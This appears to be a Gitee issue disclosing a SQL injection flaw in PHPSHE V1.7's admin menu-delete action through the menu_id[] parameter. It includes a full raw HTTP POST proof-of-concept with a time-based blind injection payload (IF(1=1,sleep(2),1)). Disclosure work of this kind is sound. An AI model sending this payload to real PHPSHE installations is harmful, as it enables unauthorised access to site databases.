PHPSHE V1.7 is vulnerable to SQL injection.

PHPSHE V1.7 is vulnerable to SQL injection vulnerabilities. Attackers can inject sql statement via the menu_id[] parameter to the server.

Poc:

```
POST /phpshe/admin.php?mod=menu&act=del&token=1dc02be6d9710d51e89a116af232dced HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpshe/admin.php?mod=menu
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Cookie: PHPSESSID=0a97c3f86f5b63a3e74ffcdf1c70b59c
Connection: close
Upgrade-Insecure-Requests: 1

menu_order%5B1%5D=1&menu_order%5B2%5D=2&menu_order%5B3%5D=3&menu_order%5B4%5D=4&menu_id%5B%5D=6'+and+IF(1=1,sleep(2),1)+and+'1'='1&menu_order%5B6%5D=6
```
vulnerability verification:
![](https://images.gitee.com/uploads/images/2019/0315/090848_99abbe43_4780107.png)
the lines of code where the vulnerability exist：
module/admin/menu.php
![](https://images.gitee.com/uploads/images/2019/0315/090847_77ace75a_4780107.png)

koyshe/phpshe

Content Risk Flag

Comments (0)

koyshe/phpshe .gitee-modal { width: 500px !important; }

Content Risk Flag